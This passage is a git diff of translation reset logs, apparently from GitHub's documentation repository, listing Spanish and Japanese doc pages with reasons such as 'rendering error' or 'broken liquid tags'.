-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,rendering error
 translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md,rendering error
 translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/index.md,rendering error
 translations/es-ES/content/pull-requests/index.md,Listed in localization-support#489
-translations/es-ES/content/pull-requests/index.md,rendering error
-translations/es-ES/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error
-translations/es-ES/content/repositories/archiving-a-github-repository/backing-up-a-repository.md,rendering error
-translations/es-ES/content/repositories/archiving-a-github-repository/index.md,rendering error
-translations/es-ES/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md,rendering error
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md,rendering error
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md,rendering error
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md,rendering error
 translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,Listed in localization-support#489
-translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,rendering error
-translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error
-translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md,rendering error
 translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md,Listed in localization-support#489
-translations/es-ES/content/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template.md,rendering error
-translations/es-ES/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md,rendering error
-translations/es-ES/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error
 translations/es-ES/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,rendering error
 translations/es-ES/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,rendering error
-translations/es-ES/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error
 translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md,Listed in localization-support#489
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md,rendering error
 translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,Listed in localization-support#489
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,rendering error
 translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md,rendering error
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md,rendering error
 translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md,rendering error
 translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,Listed in localization-support#489
-translations/es-ES/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,rendering error
 translations/es-ES/content/repositories/releasing-projects-on-github/about-releases.md,Listed in localization-support#489
-translations/es-ES/content/repositories/releasing-projects-on-github/about-releases.md,rendering error
-translations/es-ES/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md,rendering error
-translations/es-ES/content/repositories/releasing-projects-on-github/index.md,rendering error
 translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,rendering error
-translations/es-ES/content/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags.md,rendering error
-translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs.md,rendering error
 translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,Listed in localization-support#489
-translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-a-projects-contributors.md,rendering error
 translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,Listed in localization-support#489
-translations/es-ES/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md,rendering error
-translations/es-ES/content/repositories/working-with-files/index.md,rendering error
 translations/es-ES/content/repositories/working-with-files/managing-files/creating-new-files.md,Listed in localization-support#489
-translations/es-ES/content/repositories/working-with-files/managing-files/creating-new-files.md,rendering error
-translations/es-ES/content/repositories/working-with-files/managing-files/editing-files.md,rendering error
 translations/es-ES/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md,Listed in localization-support#489
-translations/es-ES/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md,rendering error
 translations/es-ES/content/repositories/working-with-files/managing-files/renaming-a-file.md,Listed in localization-support#489
-translations/es-ES/content/repositories/working-with-files/managing-files/renaming-a-file.md,rendering error
-translations/es-ES/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md,rendering error
-translations/es-ES/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,rendering error
-translations/es-ES/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md,rendering error
 translations/es-ES/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,Listed in localization-support#489
-translations/es-ES/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md,rendering error
-translations/es-ES/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md,rendering error
-translations/es-ES/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md,rendering error
-translations/es-ES/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,rendering error
-translations/es-ES/content/repositories/working-with-files/using-files/navigating-code-on-github.md,rendering error
-translations/es-ES/content/repositories/working-with-files/using-files/tracking-changes-in-a-file.md,rendering error
-translations/es-ES/content/rest/guides/basics-of-authentication.md,rendering error
-translations/es-ES/content/rest/guides/best-practices-for-integrators.md,rendering error
-translations/es-ES/content/rest/guides/building-a-ci-server.md,rendering error
-translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md,rendering error
-translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md,rendering error
-translations/es-ES/content/rest/guides/index.md,rendering error
-translations/es-ES/content/rest/guides/rendering-data-as-graphs.md,rendering error
-translations/es-ES/content/rest/guides/traversing-with-pagination.md,rendering error
-translations/es-ES/content/rest/guides/working-with-comments.md,rendering error
-translations/es-ES/content/rest/index.md,rendering error
-translations/es-ES/content/rest/overview/api-previews.md,rendering error
-translations/es-ES/content/rest/overview/libraries.md,rendering error
 translations/es-ES/content/rest/overview/other-authentication-methods.md,Listed in localization-support#489
-translations/es-ES/content/rest/overview/other-authentication-methods.md,rendering error
-translations/es-ES/content/rest/overview/resources-in-the-rest-api.md,rendering error
 translations/es-ES/content/rest/reference/actions.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/actions.md,rendering error
 translations/es-ES/content/rest/reference/activity.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/activity.md,rendering error
+translations/es-ES/content/rest/reference/activity.md,broken liquid tags
 translations/es-ES/content/rest/reference/apps.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/apps.md,rendering error
 translations/es-ES/content/rest/reference/billing.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/billing.md,rendering error
 translations/es-ES/content/rest/reference/checks.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/checks.md,rendering error
 translations/es-ES/content/rest/reference/enterprise-admin.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/enterprise-admin.md,rendering error
-translations/es-ES/content/rest/reference/gitignore.md,rendering error
-translations/es-ES/content/rest/reference/licenses.md,rendering error
-translations/es-ES/content/rest/reference/migrations.md,rendering error
-translations/es-ES/content/rest/reference/packages.md,rendering error
-translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md,rendering error
+translations/es-ES/content/rest/reference/enterprise-admin.md,broken liquid tags
 translations/es-ES/content/rest/reference/pulls.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/pulls.md,rendering error
 translations/es-ES/content/rest/reference/repos.md,Listed in localization-support#489
-translations/es-ES/content/rest/reference/repos.md,rendering error
-translations/es-ES/content/rest/reference/scim.md,rendering error
-translations/es-ES/content/rest/reference/search.md,rendering error
-translations/es-ES/content/rest/reference/secret-scanning.md,rendering error
-translations/es-ES/content/rest/reference/teams.md,rendering error
-translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,rendering error
-translations/es-ES/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,rendering error
-translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md,rendering error
 translations/es-ES/content/search-github/searching-on-github/searching-code.md,Listed in localization-support#489
-translations/es-ES/content/search-github/searching-on-github/searching-code.md,rendering error
 translations/es-ES/content/search-github/searching-on-github/searching-commits.md,Listed in localization-support#489
-translations/es-ES/content/search-github/searching-on-github/searching-commits.md,rendering error
-translations/es-ES/content/search-github/searching-on-github/searching-discussions.md,rendering error
-translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md,rendering error
 translations/es-ES/content/search-github/searching-on-github/searching-in-forks.md,Listed in localization-support#489
-translations/es-ES/content/search-github/searching-on-github/searching-in-forks.md,rendering error
 translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,Listed in localization-support#489
-translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error
-translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,rendering error
-translations/es-ES/content/sponsors/guides.md,rendering error
-translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md,rendering error
-translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md,rendering error
-translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md,rendering error
-translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md,rendering error
+translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md,broken liquid tags
 translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml,broken liquid tags
 translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml,broken liquid tags
 translations/es-ES/data/release-notes/github-ae/2021-06/2021-12-06.yml,broken liquid tags
diff --git a/translations/log/ja-resets.csv b/translations/log/ja-resets.csv
index 47087d76c3..01dbac723e 100644
--- a/translations/log/ja-resets.csv
+++ b/translations/log/ja-resets.csv
@@ -1,951 +1,198 @@
 file,reason
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md,rendering error
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md,rendering error
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md,rendering error
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md,rendering error
 translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,Listed in localization-support#489
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md,rendering error
-translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,rendering error
-translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md,rendering error
-translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error
-translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md,rendering error
-translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-net.md,rendering error
